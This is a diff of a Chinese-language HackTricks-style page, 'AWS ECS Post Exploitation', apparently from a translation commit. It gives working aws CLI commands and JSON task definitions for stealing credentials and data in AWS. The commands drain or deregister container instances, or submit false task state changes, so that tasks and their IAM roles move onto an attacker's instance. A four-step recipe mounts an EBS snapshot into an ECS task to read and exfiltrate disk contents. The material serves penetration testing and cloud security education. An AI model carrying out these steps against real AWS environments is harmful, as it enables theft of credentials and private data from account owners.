- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
# AWS - ECS 后利用
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,35 +10,35 @@
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### 主机 IAM 角色
|
||||
|
||||
在 ECS 中，**IAM role 可以被分配给运行在容器内的 task**。**If** 该 task 在 **EC2** 实例中运行，则该 **EC2 instance** 会附加另一个 **IAM** role。\
|
||||
这意味着如果你设法**compromise** 一个 ECS 实例，你可能会**obtain the IAM role associated to the ECR and to the EC2 instance**。有关如何获取这些凭证的更多信息，请查看：
|
||||
在 ECS 中，**IAM role 可以分配给在容器内运行的 task**。**如果**该 task 在 **EC2** 实例中运行，**EC2 实例** 会附带另一个 **IAM** 角色。\
|
||||
这意味着如果你设法**攻破**一个 ECS 实例，你可能会**获取与 ECR 和 EC2 实例关联的 IAM 角色**。有关如何获取这些凭证的更多信息请查看：
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> 注意，如果 EC2 实例正在强制使用 IMDSv2，[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**response of the PUT request** 将具有 **hop limit of 1**，这会使得从 EC2 实例内的容器访问 EC2 metadata 变得不可能。
|
||||
> IMDSv2 hop 限制为 1 并**不**会阻止 awsvpc 或 host-networked 任务——只有 Docker bridge 任务足够远，响应才会超时。详见 [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) 以了解完整攻击流程和绕过说明。近期的 [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) 表明即使在强制 IMDSv2+h=1 的情况下，awsvpc 和 host 任务仍会获取主机凭证。
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
此外，EC2 使用 docker 来运行 ECS tasks，因此如果你能逃逸到 node 或者**access the docker socket**，你可以**check** 哪些**other containers** 正在运行，甚至**get inside of them** 并**steal their IAM roles**。
|
||||
另外，EC2 使用 docker 来运行 ECS tasks，所以如果你能逃逸到 node 或 **访问 docker socket**，就可以**查看**哪些**其他容器**在运行，甚至**进入它们**并**窃取其附加的 IAM 角色**。
|
||||
|
||||
#### Making containers run in current host
|
||||
#### 使容器在当前主机运行
|
||||
|
||||
此外，**EC2 instance role** 通常拥有足够的**permissions** 来**update the container instance state**，针对集群中作为 node 使用的 EC2 instances。攻击者可以将实例的**state 修改为 DRAINING**，然后 ECS 会**remove all the tasks from it**，那些以 **REPLICA** 方式运行的任务将会**run in a different instance**，可能会运行到**attacker's instance** 中，这样攻击者就可以**steal their IAM roles** 以及容器内的潜在敏感信息。
|
||||
此外，**EC2 instance role** 通常具有足够的**权限**来**更新集群内作为 node 使用的 EC2 实例的 container instance state**。攻击者可以将某个实例的**state 改为 DRAINING**，然后 ECS 会**从该实例移除所有的 tasks**，那些以 **REPLICA** 方式运行的任务将被**调度到不同的实例上运行**，可能被调度到**攻击者的实例**上，从而使其能够**窃取这些任务的 IAM 角色**以及容器内的潜在敏感信息。
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
相同的技术可以通过**将 EC2 实例从集群中取消注册**来完成。这可能不够隐蔽，但它会**强制这些任务在其他实例上运行：**
|
||||
相同的技术也可以通过 **deregistering the EC2 instance from the cluster** 来完成。 这可能不那么隐蔽，但它会 **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
强制重新执行任务的最后一种技术是向 ECS 表示 **任务或容器已停止**。有 3 个潜在的 APIs 可以做到这一点：
|
||||
最后一种强制重新执行任务的技术是向 ECS 指明 **任务或容器已停止**。有 3 个潜在的 APIs 可以做到这一点：
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
### 从 ECR 容器中窃取敏感信息
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **下载镜像**（你可以在其中搜索敏感信息）。
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **下载镜像**（你可以在它们中搜索敏感信息）。
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
### 在 ECS 任务中直接挂载 EBS 快照 (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
滥用原生 ECS 与 EBS 的集成（2024+），将现有 EBS 快照的内容直接挂载到新的 ECS 任务/服务内，并在容器内部读取其数据。
|
||||
滥用原生 ECS 与 EBS 的集成（2024+），在新的 ECS 任务/服务内直接挂载现有 EBS 快照的内容，并在容器内读取其数据。
|
||||
|
||||
- 需要（最低）:
|
||||
- 需要（最低）：
|
||||
- ecs:RegisterTaskDefinition
|
||||
- 以下任一： ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- 对以下需要 iam:PassRole:
|
||||
- 用于卷的 ECS 基础设施角色（策略：`service-role/AmazonECSInfrastructureRolePolicyForVolumes`）
|
||||
- 任务定义中引用的 Task execution/Task 角色
|
||||
- 如果快照使用 CMK 加密：基础设施角色需要 KMS 权限（上面提到的 AWS 托管策略包含对 AWS 托管密钥所需的 KMS 授权）。
|
||||
- 以下之一： ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole 针对：
|
||||
- ECS infrastructure role 用于 volumes（policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`）
|
||||
- 在 task definition 中引用的 Task execution/Task roles
|
||||
- 如果快照使用 CMK 加密：infra role 需要 KMS 权限（上面的 AWS managed policy 包含对 AWS managed keys 所需的 KMS 授权）。
|
||||
|
||||
- Impact: 在容器内从快照读取任意磁盘内容（例如数据库文件）并通过网络/日志 exfiltrate。
|
||||
- 影响：在容器内从快照读取任意磁盘内容（例如数据库文件），并通过网络/日志 exfiltrate。
|
||||
|
||||
Steps (Fargate example):
|
||||
步骤（Fargate 示例）：
|
||||
|
||||
1) 创建 ECS 基础设施角色（如果不存在），并附加托管策略：
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) 注册一个 task definition，使用一个标记为 `configuredAtLaunch` 的 volume 并将其挂载到 container 中。示例（打印 secret 然后 sleep）：
|
||||
2) 注册一个 task definition，包含一个标记为 `configuredAtLaunch` 的 volume，并将其挂载到 container 中。示例（打印 secret 然后休眠）：
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) 创建或更新一个服务，通过 `volumeConfigurations.managedEBSVolume` 传递 EBS snapshot（需要该基础设施角色具有 `iam:PassRole` 权限）。示例：
|
||||
3) 通过 `volumeConfigurations.managedEBSVolume` 传递 EBS 快照来创建或更新服务（需要 infra 角色具有 iam:PassRole 权限）。示例：
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) 当 task 启动时，container 可以在配置的 mount path（例如 `/loot`）读取 snapshot 内容。Exfiltrate via the task’s network/logs。
|
||||
4) 当任务启动时，容器可以在配置的挂载路径（例如 `/loot`）读取快照内容。Exfiltrate via the task’s network/logs。
|
||||
|
||||
清理：
|
||||
```bash
|
||||
@@ -121,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
- [Latacora - ECS on EC2：弥补 IMDS 加固中的缺口](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user